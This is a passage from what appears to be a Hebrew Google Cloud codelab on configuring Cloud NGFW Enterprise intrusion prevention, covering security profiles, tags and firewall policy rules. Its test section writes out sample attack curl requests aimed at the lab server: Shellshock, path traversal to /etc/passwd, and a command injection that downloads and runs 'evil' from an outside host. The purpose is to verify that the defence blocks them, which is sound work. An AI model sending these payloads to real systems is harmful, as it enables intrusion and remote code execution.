1. מבוא
חומת אש של Cloud Next Generation (NGFW)
חומת אש של Cloud Next Generation היא שירות חומת אש מבוזר במלואו שכולל יכולות הגנה מתקדמות, מיקרו-פילוח וכיסוי חודרניים כדי להגן על עומסי העבודה שלכם ב-Google Cloud מפני התקפות פנימיות וחיצוניות.
ל-Cloud NGFW יש את היתרונות הבאים:
- שירות חומת אש מבוזר: Cloud NGFW מספק אכיפה מבוססת-מצב ומבוזרת באופן מלא על כל עומס עבודה, כדי לאפשר ארכיטקטורה של אבטחה באמצעות מודל אבטחה של אפס אמון.
- הגדרה ופריסה פשוטים יותר: Cloud NGFW מטמיע כללי מדיניות רשת והיררכיה היררכיים של חומת אש שאפשר לצרף לצומת של היררכיית משאבים. כללי המדיניות האלה מספקים חוויית שימוש עקבית בחומת האש בכל היררכיית המשאבים של Google Cloud.
- בקרה מפורטת ומיקרו-פילוח: השילוב של מדיניות חומת אש ותגים ממשלתיים לניהול זהויות והרשאות גישה (IAM) מספק שליטה טובה גם לתנועה מצפון-דרום וגם ממזרח-מערב, עד למכונה וירטואלית אחת, ברשתות ובארגונים של ענן וירטואלי פרטי (VPC).
Cloud NGFW זמין ברמות הבאות:
- יסודות חומת האש ב-Cloud Next Generation
- תקן חומת האש של Cloud Next Generation
- חומת אש של Cloud Next Generation
Cloud NGFW Enterprise
שירות Cloud NGFW Enterprise מוסיף את השירות למניעת חדירות (IPS), יכולת בשכבה 7, למארג המבוזר של חומת האש של Google Cloud. יש תמיכה בבדיקת TLS כדי לאפשר בדיקה של תעבורת נתונים מוצפנת באמצעות TLS, אבל היא לא נכללת במסגרת Codelab הזה (מידע נוסף זמין במאמר Cloud NGFW Enterprise Codelab עם TLS).
עכשיו אפשר לפרוס בדיקות אמינות של חומת האש בשכבה 7 של הדור הבא (NGFW) עם אמצעי בקרה מפורטים, בלי לבצע שינויים בארכיטקטורת הרשת או בהגדרות הניתוב שלכם.
כדי להפעיל ולפרוס בקרות חומת אש בשכבה 7 באמצעות IPS, צריך לבצע את המשימות הבאות:
- יצירת קבוצה של נקודות קצה של חומת אש אזורית שמנוהלת ב-Google Cloud.
- אפשר ליצור מדיניות לבדיקת TLS (שלא נכללת ב-Codelab הזה)
- אפשר ליצור Trust Config (שלא נכלל ב-Codelab הזה)
- משייכים את נקודות הקצה האלה לרשתות ענן וירטואלי פרטי (VPC) שבהן צריך את השירות Cloud NGFW Enterprise.
- אפשר לבצע שינויים פשוטים במדיניות חומת האש ובכללי חומת האש, כדי לציין פרופילים של מניעת איומים בשביל נתיבי תעבורת הנתונים השונים.
כללי המדיניות של חומת האש של הרשת
מדיניות חומת האש של הרשת משמשת כמאגר כללי של חומת האש. כללים שמוגדרים במדיניות חומת אש של רשת לא נאכפים בשום מקום עד שהמדיניות משויכת לרשת VPC. לכל רשת VPC יכולה להיות מדיניות חומת אש אחת של רשת המשויכת אליה. כללי המדיניות של חומת האש ברשת תומכים בתגים שמנוהלים על ידי IAM (או רק תגים) בכללי חומת אש. הם מחליפים את תגי הרשת הנוכחיים ואפשר להשתמש בהם כדי לספק זהות לעומס העבודה.
שיתוף מדיניות של חומת אש בין רשתות בין רשתות והשילוב עם תגים שמנוהלים על ידי IAM, מפשטים מאוד את ההגדרה והניהול של חומות אש.
בעקבות ההשקה של מדיניות חומת האש ברשת, כללי מדיניות חומת האש של Google Cloud כוללים עכשיו את הרכיבים הבאים:
- מדיניות היררכית בנושא חומת אש
- כללי חומת אש של VPC
- מדיניות חומת האש של הרשת ( גלובלית ואזורית)
מדיניות חומת אש היררכית נתמכת בצמתים של הארגון והתיקיות בהיררכיית המשאבים, ואילו כללי חומת אש של VPC וכללי מדיניות של חומת אש ברשת חלים ברמת ה-VPC. הבדל גדול בין כללי חומת אש של VPC למדיניות חומת האש של הרשת הוא שאפשר להחיל כללי חומת אש של VPC רק על רשת VPC אחת. לעומת זאת, כללי מדיניות של חומת אש של רשת יכולים להיות מצורפים ל-VPC יחיד או לקבוצה של רשתות VPC, בין שאר היתרונות כמו עדכונים בכמות גדולה.
לבסוף, יש לנו גם את כללי חומת האש המשתמעים שמגיעים לכל רשת VPC:
- כלל לתעבורת נתונים יוצאת (egress) שהפעולה שלו היא מותרת, היעד הוא 0.0.0.0/0
- כלל תעבורת נתונים נכנסת (ingress) שהפעולה שלו היא דחייה, המקור הוא 0.0.0.0/0
כברירת מחדל, רצף האכיפה מוצג בתרשים הבא:
שימו לב שניתן להחליף את צו האכיפה בין כללי חומת האש של ה-VPC למדיניות חומת האש של הרשת הגלובלית. הלקוחות יכולים לציין את צו האכיפה בכל שלב באמצעות פקודת gcloud.
תגים שמנוהלים על ידי IAM
התגים החדשים שמשולבים בכללי מדיניות חומת האש ברשת הם משאבים צמדי מפתח/ערך שמוגדרים בארגון או ברמת הפרויקט בהיררכיית המשאבים של Google Cloud. תג כזה מכיל בקרת גישה של IAM, כפי שמרמז השם, שמציין מי יכול לבצע מה בתג. הרשאות IAM, למשל, מאפשרות לציין אילו חשבונות משתמשים יכולים להקצות ערכים לתגים ואילו חשבונות משתמשים יכולים לצרף תגים למשאבים. אחרי שמחילים תג על משאב, כללי חומת האש של הרשת יכולים להשתמש בו כדי לאשר ולדחות תנועה.
התגים פועלים בהתאם למודל משאבי הירושה של Google Cloud, והמשמעות היא התגים והערכים שלהם מועברים הלאה בהיררכיה מההורים שלהם. כתוצאה מכך, ניתן ליצור תגים במקום אחד ולאחר מכן להשתמש בתיקיות ובפרויקטים אחרים בהיררכיית המשאבים. בדף הזה אפשר למצוא פרטים על תגים והגבלת הגישה.
חשוב להבדיל בין תגים לבין תגי רשת. האחרונות הן מחרוזות שאפשר להוסיף למכונות של Compute Engine. הם משויכים למכונה ונעלמים כשמוציאים משימוש את המכונה. כללי חומת האש של VPC עשויים לכלול תגי רשת, אבל מאחר שהם לא נחשבים למשאבי ענן, הם לא כפופים לבקרת הגישה ל-IAM.
לתשומת ליבך: במסמך הזה נעשה שימוש לסירוגין בתגים ובתגים שמנוהלים על ידי IAM.
מה תפַתחו
כדי לבצע את ה-Codelab הזה נדרשים פרויקט יחיד ויכולת ליצור רשת VPC עם קישוריות ציבורית. הוא ידגים איך Cloud NGFW Enterprise יכול לספק פונקציונליות של IPS באמצעות:
- בדיקת תהליכים בתוך ה-VPC/התת-רשת [מזרח-מערב]
- בדיקת זרימת תעבורת נתונים נכנסת (ingress) מהאינטרנט [צפון-דרום]
התהליכים שייבדקו ייבחרו באמצעות פרמטרים תואמים של חומת אש ב-Cloud, כולל תגים מסוג 5 (כתובת IP של מקור, כתובת IP של היעד, פרוטוקול, יציאת מקור, יציאת יעד) ותגים. בדיקת TLS לא כלולה ב-Codelab הזה.
בסיס הכללים של מדיניות חומת האש של הרשת יהיה דומה לטבלה הבאה:
עדיפות | כיוון | Target | מקור | יעד | פעולה | סוג |
100 | תעבורת נתונים יוצאת (egress) | Quarantine_Tag | הכול | הכול | דחייה | בסיסיות |
1000 | תעבורת נתונים נכנסת (Ingress) | Server_Tag | טווחים של בדיקות תקינות | הכול | אישור | בסיסיות |
2000 | תעבורת נתונים נכנסת (Ingress) | הכול | טווחים של שרת proxy לאימות זהויות (IAP) | הכול | אישור | בסיסיות |
3000 | תעבורת נתונים נכנסת (Ingress) | הכול | גיאוגרפי, GCTI | הכול | דחייה | Standard |
4000 | תעבורת נתונים יוצאת (egress) | הכול | הכול | גיאוגרפי, GCTI | דחייה | Standard |
5000 | תעבורת נתונים יוצאת (egress) | הכול | הכול | מספרי FQDN עם עדכון מערכת | אישור | Standard |
6000 | תעבורת נתונים נכנסת (Ingress) | Server_Tag | 10.0.0.0/24 | הכול | IPS | ארגונים |
7000 | תעבורת נתונים נכנסת (Ingress) | Server_Tag | CloudNAT_IP | הכול | IPS | ארגונים |
מה תלמדו
- איך יוצרים מדיניות גלובלית לחומת אש של רשת
- איך יוצרים תגים עם מדיניות של חומת אש ברשת ואיך משתמשים בהם
- איך להגדיר את השירות למניעת חדירה של Cloud NGFW Enterprise ולהשתמש בו
מה צריך להכין
- פרויקט ב-Google Cloud
- ידע בפריסת מכונות ובהגדרת רכיבי רשת
- מידע על הגדרת חומת אש ב-VPC
2. לפני שמתחילים
יצירה/עדכון של משתנים
ב-Codelab הזה נעשה שימוש ב-$variables כדי לעזור בהטמעת ההגדרות של gcloud ב-Cloud Shell.
ב-Cloud Shell, מריצים את הפקודות הבאות כדי להחליף את המידע בסוגריים מרובעים לפי הצורך (אפשר לדלג על הגדרת הפרויקט אם הפרויקט הרצוי כבר מוגדר). המערכת משתמשת במשתנה אחר למשאבים ברמת הארגון אם, לדוגמה: נדרשות נקודות קצה בחומת אש.
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=cloudngfw export org_prefix=cloudngfw export billing_project_id=[project-id]
3. הפעלת ממשקי API
מפעילים את ממשקי ה-API אם עדיין לא עשיתם זאת:
gcloud services enable compute.googleapis.com gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. יצירה של נקודת קצה ופרופיל אבטחה של Cloud NGFW Enterprise
תהליך היצירה של נקודת הקצה ב-Cloud NGFW Enterprise נמשך כ-20 דקות, ולכן קודם צריך ליצור אותה ואפשר לבצע את ההגדרה הבסיסית במקביל בזמן היצירה של נקודת הקצה.
יוצרים את פרופיל האבטחה ואת הקבוצה של פרופילי האבטחה:
gcloud network-security security-profiles threat-prevention \ create $org_prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $org_prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat
הפלט אמור להיראות כך:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com plete...done. Created security profile group [$org_prefix-spg].
בודקים שהמשאבים נוצרו בהצלחה:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
הפלט אמור להיראות כך:
NAME: cloudngfw-sp-threat NAME: cloudngfw-spg
יוצרים את נקודת הקצה ב-Cloud NGFW Enterprise:
gcloud network-security firewall-endpoints create $org_prefix-$zone \ --zone=$zone --organization $org_id \ --billing-project $billing_project_id
מריצים את הפקודה הבאה כדי לאשר שנקודת הקצה נוצרת (STATE: CREATING).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
הפלט הצפוי (שימו לב שפורמט הפלט עשוי להשתנות בהתאם ללקוח שבשימוש):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: CREATING
כדי לקבל פרטים נוספים, מריצים את הפקודה הבאה:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
הפלט אמור להיראות כך:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: CREATING updateTime: '2023-04-25T18:08:45.493499362Z'
תהליך היצירה של נקודות הקצה נמשך כ-20 דקות. עוברים לקטע 'הגדרת בסיס' כדי ליצור את המשאבים הדרושים במקביל.
5. הגדרת הבסיס
אם אתם מעדיפים ליצור באופן ידני את משאבי הבסיס, תוכלו להמשיך לקטעים הבאים.
רשת VPC ורשת משנה
רשת VPC ורשת משנה
יצירת רשת ה-VPC ורשת המשנה:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
יצירת שערי Cloud Routers ו-Cloud NAT:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
ישויות
יוצרים את מופעי הלקוח ושרת האינטרנט:
gcloud compute instances create $prefix-$zone-www \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2 tcpdump iperf3 -y a2ensite default-ssl a2enmod ssl # Read VM network configuration: md_vm="http://169.254.169.254/computeMetadata/v1/instance/" vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )" filter="{print \$NF}" vm_network="$(curl $md_vm/network-interfaces/0/network \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" vm_zone="$(curl $md_vm/zone \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" # Apache configuration: echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \ tee /var/www/html/index.html systemctl restart apache2' gcloud compute instances create $prefix-$zone-client \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --scopes=compute-ro \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2-utils iperf3 tcpdump -y'
P תגים ברמת Roject
מקצים למשתמש הרשאות tagAdmin ו/או tagUser אם יש צורך:
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser
יוצרים את המפתח והערכים של התג ברמת הפרויקט:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-quarantine \ --parent=$project_id/$prefix-vpc-tags
קישור תגים למכונות:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
המדיניות הגלובלית של חומת האש של הרשת
יצירת מדיניות גלובלית של חומת אש ברשת:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise" --global
אפשר ליצור כללים חיוניים ב-Cloud Firewall כדי לדחות תנועה ממכונות שנמצאות בהסגר (נוצרו כדוגמה בלבד, ולא נעשה בהן שימוש ב-Codelab הזה) ולאפשר תעבורת נתונים מטווחים של בדיקת תקינות ושרת proxy לאימות זהויות (IAP):
gcloud compute network-firewall-policies rules create 100 \ --description="block quarantined workloads" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=EGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \ --dest-ip-ranges=0.0.0.0/0 gcloud compute network-firewall-policies rules create 1000 \ --description="allow http traffic from health-checks ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22 gcloud compute network-firewall-policies rules create 2000 \ --description="allow ssh traffic from identity-aware-proxy ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:22 \ --direction=INGRESS \ --src-ip-ranges=35.235.240.0/20
ליצור כללים סטנדרטיים לחומת האש של Cloud כדי לדחות תעבורת נתונים נכנסת (ingress) ויוצאת (egress) ממדינות שהוטל עליהן אמברגו, כתובות IP זדוניות ידועות וצמתים של יציאות ToR; ולאפשר רק תנועה של תעבורת נתונים יוצאת (egress) למזהי FQDN ספציפיים לצורך עדכוני מערכת (נוצרה כדוגמה בלבד, ולא משמשת ב-Codelab הזה):
gcloud compute network-firewall-policies rules create 3000 \ --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=INGRESS \ --src-region-codes CU,IR,KP,SY,XC,XD \ --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips gcloud compute network-firewall-policies rules create 4000 \ --description="block egress traffic from sactioned countries, known malicious IPs and ToR exit nodes" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=EGRESS \ --dest-region-codes CU,IR,KP,SY,XC,XD \ --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips gcloud compute network-firewall-policies rules create 5000 \ --description "allow system updates" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com
יצירת כללי חומת אש ב-Cloud כדי לאפשר תעבורת נתונים נכנסת (ingress) ממזרח-מערב / intra-subnet (תת-רשת) ומצפון-דרום / באינטרנט מהטווחים הספציפיים (הכללים האלה יעודכנו כדי להפעיל את Cloud NGFW Enterprise):
gcloud compute network-firewall-policies rules create 6000 \ --description "allow ingress internal traffic from clients" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=INGRESS \ --enable-logging \ --layer4-configs all \ --src-ip-ranges=10.0.0.0/24 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud compute network-firewall-policies rules create 7000 \ --description "allow ingress external traffic to server" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --enable-logging \ --src-ip-ranges=$cloudnatip \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
משייכים את מדיניות חומת האש של הרשת לרשת ה-VPC:
gcloud compute network-firewall-policies associations create \ --firewall-policy $prefix-fwpolicy \ --network $prefix-vpc \ --name $prefix-fwpolicy-association \ --global-firewall-policy
מאזן עומסי רשת של TCP/UDP חיצוני
שומרים כתובת IP חיצונית ויוצרים את קבוצת המכונה ואת בדיקת התקינות:
gcloud compute addresses create $prefix-$region-nlbip --region=$region gcloud compute instance-groups unmanaged create $prefix-ig \ --zone $zone gcloud compute instance-groups unmanaged add-instances $prefix-ig \ --instances $prefix-$zone-www --zone $zone gcloud compute health-checks create http $prefix-$region-hc-http80 \ --region $region --port 80
יצירת שירות לקצה העורפי וכל העברה:
gcloud compute backend-services create $prefix-nlb-bes \ --protocol TCP \ --health-checks $prefix-$region-hc-http80 \ --health-checks-region $region \ --region $region gcloud compute backend-services add-backend $prefix-nlb-bes \ --instance-group $prefix-ig \ --instance-group-zone $zone \ --region $region gcloud compute forwarding-rules create $prefix-nlb-ipv4 \ --load-balancing-scheme EXTERNAL \ --region $region \ --ports 80 \ --address $prefix-$region-nlbip \ --backend-service $prefix-nlb-bes
6. שיוך Cloud NGFW Enterprise Endpoint
להגדיר מחדש את משתני הסביבה לפי הצורך.
מוודאים שהיצירה של נקודת הקצה ב-Cloud Firewall הושלמה בהצלחה. ממשיכים רק אחרי שהמצב מוצג כפעיל (במהלך היצירה, המצב הצפוי הוא יצירה):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
הפלט הצפוי (שימו לב שפורמט הפלט עשוי להשתנות בהתאם ללקוח שבשימוש):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: ACTIVE
כדי לקבל פרטים נוספים, מריצים את הפקודה הבאה:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
הפלט אמור להיראות כך:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: ACTIVE updateTime: '2023-04-25T18:29:40.840608100Z'
משייכים את נקודת הקצה של Cloud NGFW Enterprise לרשת ה-VPC:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc --endpoint $org_prefix-$zone \ --organization $org_id
תהליך השיוך לוקח כ-10 דקות. ממשיכים רק אחרי שהמצב מוצג כפעיל (המצב הצפוי הוא יצירה בתהליך היצירה):
gcloud network-security firewall-endpoint-associations list
הפלט אמור להיראות כך:
ID: cloudngfw-association LOCATION: [zone] NETWORK: cloudngfw-vpc ENDPOINT: cloudngfw-[zone] STATE: ACTIVE
כדי לקבל פרטים נוספים, מריצים את הפקודה הבאה:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
הפלט אמור להיראות כך:
createTime: '2023-05-01T22:25:06.218544436Z' firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association network: projects/[project-id]/global/networks/cloudngfw-vpc state: ACTIVE updateTime: '2023-05-01T22:33:06.467596536Z'
7. כללי בדיקה של Cloud NGFW Enterprise
פותחים כרטיסייה חדשה ומפעילים חיבור SSH ל-VM של הלקוח באמצעות IAP (צריך להגדיר שוב את המשתנים בכרטיסייה החדשה):
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
מגדירים את המשתנים הנדרשים בסשן של SSH ומגדירים את המשתנים (חשוב לוודא שהערכים נכונים):
export region=[region] export zone=[zone] export prefix=cloudngfw export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)") export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")
מסמנים את שתי כתובות ה-IP כדי לוודא שניתן להגיע אליהן:
curl $target_privateip --max-time 2 curl $target_nlbip --max-time 2
התוצאה הצפויה של שתי בקשות ה-curl:
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
לשלוח מתקפות לדוגמה אל כתובת ה-IP של השרת הפנימי (תנועה ממזרח-מערב / תנועה בתוך ה-VPC). שרת האינטרנט צריך להגיב לכל הבקשות, ולאשר שלא מתבצעת בדיקה/מניעה של L7:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3 curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
שליחה מחדש של המתקפות לדוגמה לכתובת ה-IP של השרת החיצוני דרך Cloud NAT (תנועה נכנסת מצפון לדרום), באופן דומה שרת האינטרנט אמור להגיב לכל הבקשות:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
התוצאות הצפויות עבור כתובות IP ציבוריות וגם פרטיות:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone] <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
חוזרים ל-Cloud Shell ומעדכנים את הכללים הקיימים של תעבורת נתונים נכנסת (ingress) כדי לאפשר בדיקה של L7:
gcloud compute network-firewall-policies rules update 6000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg gcloud compute network-firewall-policies rules update 7000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
אפשר גם לתאר את הכללים של חומת האש כדי לוודא ששניהם עודכנו:
gcloud compute network-firewall-policies rules describe 6000 \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy
הפלט אמור להיראות כך:
--- action: apply_security_profile_group description: allow ingress internal traffic from tagged clients direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: all srcIpRanges: - 10.0.0.0/24 priority: 800 ruleTupleCount: 4 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
כלל 7000:
gcloud compute network-firewall-policies rules describe 7000 \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy
הפלט אמור להיראות כך:
--- action: apply_security_profile_group description: allow ingress external traffic to server direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: tcp ports: - '80' - ipProtocol: tcp ports: - '443' srcIpRanges: - [cloudnat-ip] priority: 900 ruleTupleCount: 6 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
חוזרים ל-VM של הלקוח ושולחים מחדש את ההתקפות לדוגמה אל כתובת ה-IP הפנימית של השרת (בדיקת East-West / Intra-VPC):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3 curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
שליחה מחדש של המתקפות לדוגמה לכתובת ה-IP של השרת החיצוני דרך Cloud NAT (בדיקה נכנסת מצפון לדרום):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
לפי התוצאות הצפויות שבהמשך, לא התקבלו תגובות להתקפות הראשונות. מטרת הדיווח היא שמעכשיו התקפות חמורות ביותר חסומות.
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
מנווטים אל אבטחת רשת > איומים במסוף Cloud לאמת את היומנים (יכול להיות שתצטרכו לרענן כמה פעמים אם ההתקפות עדיין לא מוצגות).
יש לבחור אחת מהמתקפות וללחוץ על 'הצגת יומן הביקורת' בצד שמאל (צריך לפתוח בכרטיסייה חדשה כדי לעבור חזרה בקלות). מרחיבים את המתקפה כדי להציג את הפרטים:
אפשר גם להחליף את המסנן Log Explorer בשאילתה הבאה:
resource.type="networksecurity.googleapis.com/FirewallEndpoint"
יש לראות את הרשומות ביומן האיומים באופן הבא:
אפשר לאמת חבילות יירוט של חומת אש של Cloud באמצעות המסנן Log Explorer שבהמשך (מועיל לפתרון בעיות):
jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"
ממשיכים לבדיקת התנועה באינטרנט (אופציונלי) או סוגרים את סשן ה-SSH וממשיכים לפרק הבא כדי לבצע את שלבי הניקוי.
[אופציונלי] בדיקה של תנועת הגולשים באינטרנט
כפי שאומת בקטע הקודם, התהליכים שנבדקו עד עכשיו הם בתוך תת-רשת/VPC (מזרח-מערב) ותנועה נכנסת מהאינטרנט (כניסה מצפון-דרום). אפשר גם להגדיר את Cloud NGFW Enterprise לבדיקת כל תעבורת הנתונים באינטרנט (יוצאת מצפון-דרום) על ידי יצירת כלל חדש של תעבורת נתונים יוצאת (egress) באמצעות Cloud Shell:
